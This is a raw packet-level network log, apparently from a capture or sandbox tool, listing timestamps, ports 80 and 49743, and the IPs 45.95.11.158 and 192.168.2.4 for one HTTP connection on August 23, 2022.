Aug 23, 2022 03:42:41.216922045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216934919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216941118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216967106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216984987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216986895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217008114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217024088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217046976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217189074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217207909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217243910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217257977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217267036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217299938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217340946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217360020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217377901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217380047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217403889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217421055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217428923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217452049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217467070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217469931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217490911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217493057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217516899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217533112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217540979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217550993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217557907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.217566967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217587948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.217616081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.221266031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221333981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221357107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221374035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221384048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.221400976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221425056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221448898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221450090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.221463919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221487045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221501112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.221512079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221528053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.221537113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221550941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.221554041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.221584082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.221606970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.229674101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.229722977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.229744911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.229763031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.229865074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.229908943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.234585047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.234621048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.234642029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.234658003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.234698057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.234741926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.235728025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.235757113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.235805035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.235836983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.235924006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.235939980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.235956907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.235974073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.235980034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.235991955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.236018896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.236031055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.236037016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.236078024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245021105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245044947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245062113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245079994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245095968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245114088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245117903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245126963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245155096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245165110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245168924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245182991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245201111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245209932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245213985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245218992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245232105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245235920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245250940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245254040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245268106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245270967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245280027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245284081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245573044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245593071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245609045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245609999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245621920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245624065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245634079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245641947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245659113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245676041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245678902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245687962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245701075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245718002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245816946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245836020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245853901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245865107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245867014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.245897055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.245919943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.246308088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246408939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246428013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246439934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246475935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.246506929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.246581078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246606112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246633053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246643066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.246648073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.246670008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.246695042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247241974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247270107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247293949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247309923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247308969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247343063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247361898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247366905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247370005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247454882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247479916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247497082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247518063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247539997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247562885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247565031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247580051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247596025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247622967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247795105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247818947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247840881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247858047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247868061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247894049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247905016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.247960091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.247982025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248003960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248019934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248147964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248173952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248198986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248219967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248235941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248238087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248253107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248277903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248549938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248572111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248593092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248606920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248615026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248624086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248637915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248641968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248657942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248661995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248677015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248678923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248701096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248702049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248718977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248723984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248739958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248744965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248760939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248761892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248781919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248800039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248805046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248903990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248943090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248951912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.248959064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.248996019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249022961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249131918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249157906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249180079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249196053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249207973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249231100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249254942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249370098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249392033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249413013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249419928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249429941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249430895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249455929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249471903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249481916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249519110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249572992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249596119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249610901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249612093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.249634027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.249653101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.250529051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.250552893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.250574112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.250590086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.250624895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.250658035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252600908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252724886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252800941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252825975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252841949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252863884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252866983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252878904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252882957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252887011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252897024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252907038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252922058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252923012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.252942085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.252960920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.253048897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.253089905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.253135920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.253159046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.253175974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.253182888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.253190994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.253206968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.290148973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.290199041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.290240049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.290263891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.290272951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.290299892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.290323019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.291764021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292407990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292522907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292582035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292615891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292633057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292656898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292661905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292696953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292696953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292735100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292737961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292767048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292778015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292809010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292809010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292850018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292850971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292890072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292890072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292920113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.292927980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292960882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.292960882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293000937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293023109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293064117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293066025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293096066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293103933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293137074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293137074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293179035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293184042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293230057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293325901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293354988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293364048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293392897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293395042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293435097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293441057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293482065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293510914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293519020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293524027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293551922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293553114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293592930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293593884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293632984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293632984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293662071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293669939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293704033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293802977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293848038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293889046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293895960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293916941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293935061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293956995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.293961048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293992996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.293998003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294034958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294035912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294064999 CEST	80	49743	45.95.11.158	192.168.2.4
